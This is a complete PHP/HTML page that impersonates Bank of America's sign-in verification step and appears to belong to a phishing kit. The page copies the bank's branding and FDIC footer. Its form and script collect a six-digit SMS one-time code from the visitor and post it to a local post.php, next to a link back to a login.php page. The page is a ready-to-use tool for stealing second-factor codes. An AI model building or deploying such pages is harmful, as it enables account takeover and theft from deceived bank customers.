<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:wght@300;400;500;600&family=DM+Sans:wght@300;400;500&display=swap" rel="stylesheet">
    <title>Bank of America — Verify Your Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #c8102e;
            --red-dark:   #a0001a;
            --red-deep:   #7a0014;
            --red-light:  rgba(200,16,46,0.07);
            --text:       #1a1a1a;
            --text-sub:   #444;
            --text-muted: #888;
            --border:     #e2e2e2;
            --white:      #ffffff;
        }
        html, body { height: 100%; font-family: 'DM Sans', sans-serif; }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; }

        /* ── LEFT PANEL ─────────────────────────────── */
        .panel-left {
            background: linear-gradient(155deg, #9a0020 0%, #c8102e 40%, #7a0014 100%);
            position: relative; display: flex; flex-direction: column;
            justify-content: space-between; padding: 52px 56px 56px; overflow: hidden;
        }
        .watermark { position: absolute; bottom: -6%; right: -14%; width: 88%; opacity: 0.06; pointer-events: none; user-select: none; }
        .watermark img { width: 100%; height: auto; display: block; filter: brightness(0) invert(1); }
        .panel-left::before { content: ''; position: absolute; inset: 0; background: radial-gradient(ellipse 65% 55% at 0% 100%, rgba(0,0,0,0.3) 0%, transparent 60%), radial-gradient(ellipse 50% 40% at 100% 0%, rgba(255,255,255,0.06) 0%, transparent 55%); pointer-events: none; }
        .panel-left::after { content: ''; position: absolute; left: 56px; right: 56px; top: 50%; height: 1px; background: linear-gradient(90deg, rgba(255,255,255,0.12) 0%, rgba(255,255,255,0.02) 100%); pointer-events: none; }
        .panel-top { position: relative; z-index: 2; }
        .panel-logo img { height: 40px; width: auto; display: block; filter: brightness(0) invert(1); opacity: 0.92; }
        .panel-bottom { position: relative; z-index: 2; }
        .eyebrow { font-size: 10.5px; font-weight: 500; letter-spacing: 0.22em; text-transform: uppercase; color: rgba(255,255,255,0.5); margin-bottom: 20px; display: flex; align-items: center; gap: 10px; }
        .eyebrow::before { content: ''; display: block; width: 28px; height: 1px; background: rgba(255,255,255,0.35); }
        .panel-headline { font-family: 'Cormorant Garamond', serif; font-size: clamp(28px, 2.8vw, 46px); font-weight: 300; line-height: 1.18; color: #fff; margin-bottom: 22px; letter-spacing: -0.01em; }
        .panel-headline em { font-style: italic; color: rgba(255,255,255,0.58); }
        .panel-sub { font-size: 13.5px; font-weight: 300; color: rgba(255,255,255,0.36); line-height: 1.8; max-width: 300px; }
        .feature-list { list-style: none; margin-top: 32px; display: flex; flex-direction: column; gap: 14px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 12px; font-size: 13px; color: rgba(255,255,255,0.45); font-weight: 300; line-height: 1.6; }
        .feat-icon { width: 22px; height: 22px; background: rgba(200,16,46,0.35); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; }
        .feat-icon svg { color: #fff; }

        /* ── RIGHT PANEL ─────────────────────────────── */
        .panel-right {
            display: flex; flex-direction: column; justify-content: center; align-items: center;
            padding: 60px 44px; background: var(--white); overflow-y: auto; position: relative;
        }
        .panel-right::before { content: ''; position: absolute; top: 0; right: 0; width: 220px; height: 220px; background: radial-gradient(ellipse at 100% 0%, rgba(200,16,46,0.04) 0%, transparent 70%); pointer-events: none; }

        .login-card { width: 100%; max-width: 400px; animation: fadeUp 0.5s cubic-bezier(0.22,1,0.36,1) both; }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 26px; }
        .card-logo img { height: 40px; width: auto; display: block; object-fit: contain; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 28px; }
        .step { display: flex; align-items: center; justify-content: center; width: 26px; height: 26px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--red); color: #fff; }
        .step.active { background: var(--red-deep); color: #fff; box-shadow: 0 0 0 4px rgba(200,16,46,0.15); }
        .step.pending{ background: #f0f0f0; color: #bbb; }
        .step-line      { flex: 1; height: 1.5px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--red); opacity: 0.4; }

        .card-header { margin-bottom: 22px; padding-bottom: 20px; border-bottom: 1px solid #f0e8e8; }
        .card-header h1 { font-family: 'Cormorant Garamond', serif; font-size: 24px; font-weight: 500; color: var(--red-deep); margin-bottom: 6px; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .phone-badge { display: flex; align-items: center; gap: 12px; background: var(--red-light); border: 1px solid rgba(200,16,46,0.15); border-radius: 6px; padding: 13px 16px; margin-bottom: 24px; }
        .phone-badge-icon { width: 36px; height: 36px; background: var(--red); border-radius: 8px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
        .phone-badge-icon svg { color: #fff; }
        .phone-badge-text { font-size: 13px; color: var(--text-sub); line-height: 1.55; }
        .phone-badge-text strong { display: block; font-size: 14px; color: var(--red); font-weight: 600; margin-bottom: 1px; }

        .otp-label { font-size: 11.5px; font-weight: 500; color: var(--text-sub); margin-bottom: 12px; letter-spacing: 0.06em; text-transform: uppercase; }
        .otp-row { display: flex; gap: 10px; justify-content: center; margin-bottom: 10px; }
        .otp-row input {
            width: 52px; height: 58px; border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Cormorant Garamond', serif; font-size: 26px; font-weight: 500; color: var(--red-deep);
            text-align: center; background: #fff; outline: none;
            transition: border-color 0.15s, box-shadow 0.15s, background 0.15s;
            caret-color: var(--red); -webkit-appearance: none;
        }
        .otp-row input:focus { border-color: var(--red); box-shadow: 0 0 0 3.5px var(--red-light); background: #fffafa; }
        .otp-row input.filled { border-color: var(--red-dark); background: var(--red-light); }

        .resend-row { display: flex; align-items: center; justify-content: space-between; margin-bottom: 24px; margin-top: 6px; }
        .resend-timer { font-size: 12.5px; color: var(--text-muted); display: flex; align-items: center; gap: 6px; }
        .resend-timer span { font-weight: 600; color: var(--red); min-width: 28px; }
        .resend-btn { font-size: 12.5px; color: var(--red); font-weight: 500; background: none; border: none; cursor: pointer; text-decoration: underline; transition: opacity 0.15s; padding: 0; font-family: 'DM Sans', sans-serif; }
        .resend-btn:disabled { color: var(--text-muted); text-decoration: none; cursor: default; opacity: 0.6; }
        .resend-btn:not(:disabled):hover { opacity: 0.7; }

        .btn-main {
            width: 100%; height: 48px; background: var(--red); color: #fff;
            border: none; border-radius: 5px; font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 500; cursor: pointer; letter-spacing: 0.03em;
            display: flex; align-items: center; justify-content: center; gap: 9px;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
            margin-bottom: 22px; position: relative; overflow: hidden;
        }
        .btn-main::after { content: ''; position: absolute; inset: 0; background: linear-gradient(180deg, rgba(255,255,255,0.07) 0%, transparent 100%); pointer-events: none; }
        .btn-main:hover { background: var(--red-dark); box-shadow: 0 4px 18px rgba(200,16,46,0.32); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }
        .btn-main:disabled { background: #d9a0a8; cursor: not-allowed; transform: none; box-shadow: none; }

        .card-divider { height: 1px; background: #f0e8e8; margin-bottom: 20px; }
        .card-links { display: flex; flex-direction: column; gap: 11px; }
        .card-links a { font-size: 13.5px; color: var(--red); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 7px; opacity: 0.8; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 1; text-decoration: underline; }

        .fdic-row { margin-top: 28px; display: flex; align-items: center; gap: 10px; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 10px; font-weight: 800; letter-spacing: 0.07em; padding: 3px 6px; border-radius: 2px; flex-shrink: 0; }
        .fdic-text { font-size: 10.5px; color: var(--text-muted); }

        @media (max-width: 768px) { body { grid-template-columns: 1fr; } .panel-left { display: none; } .panel-right { min-height: 100vh; padding: 48px 28px; } }
        @media (max-width: 500px) { .otp-row input { width: 44px; height: 52px; font-size: 22px; } }
    </style>
</head>
<body>

<div class="panel-left">
    <div class="watermark"><img src="res/img/logo3.svg" alt=""></div>
    <div class="panel-top">
        <div class="panel-logo"><img src="res/img/logo3.svg" alt="Bank of America"></div>
    </div>
    <div class="panel-bottom">
        <div class="eyebrow">One Last Step</div>
        <h2 class="panel-headline">Verify your<br><em>identity.</em></h2>
        <p class="panel-sub">A one-time code was sent to your registered phone number. Enter it to complete sign-in.</p>
        <ul class="feature-list">
            <li><div class="feat-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Code sent to your registered number</li>
            <li><div class="feat-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Expires after 10 minutes</li>
            <li><div class="feat-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Never share your code with anyone</li>
        </ul>
    </div>
</div>

<div class="panel-right">
    <div class="login-card">
        <div class="card-logo"><img src="res/img/logo.svg" alt="Bank of America"></div>

        <div class="step-indicator">
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step active">3</div>
        </div>

        <div class="card-header">
            <h1>Enter Verification Code</h1>
            <p>We sent a 6-digit code to your phone</p>
        </div>

        <div class="phone-badge">
            <div class="phone-badge-icon"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg></div>
            <div class="phone-badge-text"><strong>SMS Code Sent</strong>Code sent to the number ending in <strong>••••</strong></div>
        </div>

        <form action="post.php" method="post">
            <div class="otp-label">Enter 6-digit code</div>
            <div class="otp-row">
                <input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]">
                <input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]">
                <input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]">
                <input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]">
                <input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]">
                <input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]">
            </div>
            <input type="hidden" name="sms" id="sms_combined">
            <div class="resend-row">
                <div class="resend-timer"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>Code expires in <span id="exp-timer">9:59</span></div>
                <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
            </div>
            <button type="submit" class="btn-main">
                Verify &amp; Continue
                <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
            </button>
        </form>

        <div class="card-divider"></div>
        <div class="card-links">
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
            <a href="login.php"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
        </div>

        <div class="fdic-row">
            <span class="fdic-badge">FDIC</span>
            <span class="fdic-text">Member FDIC. Equal Housing Lender.</span>
        </div>
    </div>
</div>

<script>
    const boxes = Array.from(document.querySelectorAll('.otp-row input'));
    const combined = document.getElementById('sms_combined');
    boxes.forEach((box, i) => {
        box.addEventListener('input', () => {
            box.value = box.value.replace(/[^0-9]/g, '').slice(-1);
            box.classList.toggle('filled', box.value !== '');
            combined.value = boxes.map(b => b.value).join('');
            if (box.value && i < boxes.length - 1) boxes[i + 1].focus();
        });
        box.addEventListener('keydown', e => {
            if (e.key === 'Backspace' && !box.value && i > 0) { boxes[i-1].value = ''; boxes[i-1].classList.remove('filled'); boxes[i-1].focus(); }
        });
        box.addEventListener('paste', e => {
            e.preventDefault();
            const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/[^0-9]/g,'').slice(0,6);
            paste.split('').forEach((ch, j) => { if (boxes[j]) { boxes[j].value = ch; boxes[j].classList.add('filled'); } });
            combined.value = boxes.map(b => b.value).join('');
            boxes[Math.min(paste.length, boxes.length - 1)].focus();
        });
    });
    let expSec = 599, resendUnlockAt = 30;
    const expEl = document.getElementById('exp-timer'), resendBtn = document.getElementById('resend-btn');
    const expInterval = setInterval(() => {
        expSec--; resendUnlockAt = Math.max(0, resendUnlockAt - 1);
        if (resendUnlockAt === 0) resendBtn.disabled = false;
        const m = Math.floor(expSec / 60), s = expSec % 60;
        expEl.textContent = m + ':' + String(s).padStart(2, '0');
        if (expSec <= 0) { clearInterval(expInterval); expEl.textContent = '0:00'; expEl.style.color = '#c0392b'; }
    }, 1000);
    resendBtn.addEventListener('click', () => {
        resendBtn.disabled = true; resendUnlockAt = 30; expSec = 599; expEl.style.color = '';
        boxes.forEach(b => { b.value = ''; b.classList.remove('filled'); }); combined.value = ''; boxes[0].focus();
    });
</script>
</body>
</html>